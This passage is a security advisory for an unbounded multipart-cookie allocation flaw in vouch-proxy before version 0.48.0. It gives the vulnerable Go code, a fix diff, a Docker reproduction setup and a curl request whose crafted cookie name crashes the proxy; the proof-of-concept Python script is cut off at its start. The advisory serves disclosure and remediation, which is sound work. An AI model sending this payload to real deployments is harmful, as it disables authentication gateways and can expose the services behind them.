      "value": "Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. Prior to 0.48.0, Cookie in pkg/cookie/cookie.go parses the total part count from an attacker-controlled multipart cookie name and passes the value to make([]string, numParts) without checking that the value is positive or reasonably bounded. Requests to /validate and /_external-auth-:id reach JWTCacheHandler in pkg/jwtmanager/jwtcache.go, FindJWT in pkg/jwtmanager/jwtmanager.go, and the vulnerable cookie reassembly before JWT validation, so no account or valid session is required. A cookie name such as VouchCookie_1of10000000000 causes an attempted slice allocation of roughly 160 GB and a fatal Go runtime out-of-memory condition, allowing one request to crash the authentication proxy and repeated requests to sustain unavailability. This vulnerability is fixed in 0.48.0."

  "details": "## Unbounded Multipart Cookie Allocation DoS in vouch-proxy\n\n### Summary\n\nvouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of\u003cN\u003e`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.\n\n### Details\n\nThe vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:\n\n```go\n// pkg/cookie/cookie.go:123\u2013130\nxOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\nxyArray := strings.Split(xOFy, \"of\")\nif numParts == -1 {\n    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n        return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n    }\n    cookieParts = make([]string, numParts)  // sink: unbounded allocation\n}\n```\n\nThe value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 \u00d7 16 bytes \u2248 160 GB` of memory in a single call.\n\nThe complete exploit path from network entry to crash:\n\n1. `main.go:167` \u2014 `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.\n2. `pkg/jwtmanager/jwtcache.go:54` \u2014 `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check.\n3. `pkg/jwtmanager/jwtmanager.go:228` \u2014 `FindJWT` calls `cookie.Cookie(r)`.\n4. `pkg/cookie/cookie.go:109` \u2014 `r.Cookies()` reads the attacker-supplied `Cookie:` header.\n5. `pkg/cookie/cookie.go:124` \u2014 cookie name suffix is split on `\"of\"`.\n6. `pkg/cookie/cookie.go:126` \u2014 `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.\n7. `pkg/cookie/cookie.go:130` \u2014 **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.\n\nBecause the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.\n\nA suggested remediation is to add a strict upper bound and format validation before the allocation:\n\n```diff\n--- a/pkg/cookie/cookie.go\n+++ b/pkg/cookie/cookie.go\n@@ const maxCookieSize = 4000\n+const maxCookieParts = 32\n@@\n-    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n-    xyArray := strings.Split(xOFy, \"of\")\n+    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n+    partStr, totalStr, ok := strings.Cut(xOFy, \"of\")\n+    if !ok || partStr == \"\" || totalStr == \"\" {\n+        return \"\", fmt.Errorf(\"multipart cookie fail: invalid cookie part name\")\n+    }\n     if numParts == -1 {\n-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n+        if numParts, err = strconv.Atoi(totalStr); err != nil {\n             return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n         }\n+        if numParts \u003c 1 || numParts \u003e maxCookieParts {\n+            return \"\", fmt.Errorf(\"multipart cookie fail: invalid part count %d\", numParts)\n+        }\n         cookieParts = make([]string, numParts)\n     }\n```\n\n### PoC\n\n**Environment setup**\n\nBuild the vulnerable image from source (requires the vouch-proxy repository at the path below):\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vouch-vuln001 \\\n  repo\n```\n\nStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):\n\n```bash\ndocker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001\n```\n\nWait for the server to respond to a baseline request (expected HTTP 302 or similar):\n\n```bash\ncurl -v http://127.0.0.1:19090/validate\n```\n\n**Attack request**\n\nSend a single unauthenticated HTTP GET with the malicious cookie name:\n\n```bash\ncurl -v http://127.0.0.1:19090/validate \\\n  -H \u0027Host: app.example.com\u0027 \\\n  -H \u0027Cookie: VouchCookie_1of10000000000=x\u0027\n```\n\nAlternatively, run the automated PoC script:\n\n```bash\npython3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000\n```\n\n**Expected result**\n\nThe server process crashes immediately with a Go runtime fatal error. Container logs show:\n\n```\nfatal error: runtime: out of memory\n\nruntime.makeslice(0x0?, 0x0?, 0x0?)\n    /usr/local/go/src/runtime/slice.go:117\ngithub.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)\n    /src/pkg/cookie/cookie.go:130\ngithub.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)\n    /src/pkg/jwtmanager/jwtmanager.go:228\nmain.main.JWTCacheHandler.func1(...)\n    /src/pkg/jwtmanager/jwtcache.go:54\n```\n\nThe container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.\n\n**Minimal configuration** (no real OAuth provider required):\n\n```yaml\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.\n\nAn attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.\n\nNo authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 \u2014 Unbounded Multipart Cookie Allocation DoS\n# vouch/vouch-proxy v0.47.2 (commit b683f60)\n#\n# Attack: GET /validate with Cookie: VouchCookie_1of\u003cHUGE\u003e=x\n#   -\u003e cookie.Cookie() calls strconv.Atoi on the attacker-controlled total\n#   -\u003e make([]string, \u003cHUGE\u003e) triggers an immediate OOM fatal in the Go runtime\n#   -\u003e Server process crashes; no authentication required\n#\n# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo\n# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001\n\n# ---------- Stage 1: compile vouch-proxy from source ----------\nFROM golang:1.26 AS builder\n\nWORKDIR /src\nCOPY . .\n\n# Build a statically linked binary; skip do.sh which requires live git tags.\n# Version ldflags are pinned to the affected commit for reproducibility.\nRUN CGO_ENABLED=0 GOOS=linux \\\n    go build -v \\\n      -ldflags=\"-s -w \\\n        -X main.version=b683f60 \\\n        -X main.uname=linux \\\n        -X main.builddt=2024-01-01T00:00:00Z \\\n        -X main.host=vuln-poc \\\n        -X main.semver=v0.47.2 \\\n        -X main.branch=main\" \\\n      -o /vouch-proxy .\n\n# ---------- Stage 2: minimal runtime image ----------\nFROM debian:bookworm-slim\n\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends ca-certificates \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /vouch-proxy /vouch-proxy\n\n# Minimal config: allowAllUsers so startup succeeds without real OAuth,\n# default cookie name VouchCookie matches the PoC payload.\nRUN mkdir -p /config \u0026\u0026 cat \u003e /config/config.yml \u003c\u003c \u0027EOF\u0027\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\nEOF\n\nEXPOSE 9090\nENTRYPOINT [\"/vouch-proxy\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS\nTarget: vouch/vouch-proxy v0.47.2 (commit b683f60)\nFile:   pkg/cookie/cookie.go:126\n\nAttack summary\n--------------\nThe multipart-cookie reassembly routine reads the total part count from the\nattacker-controlled cookie *name* (e.g. VouchCookie_1of\u003cN\u003e) and calls\n    make([]string, N)\nwith no upper-bound check.
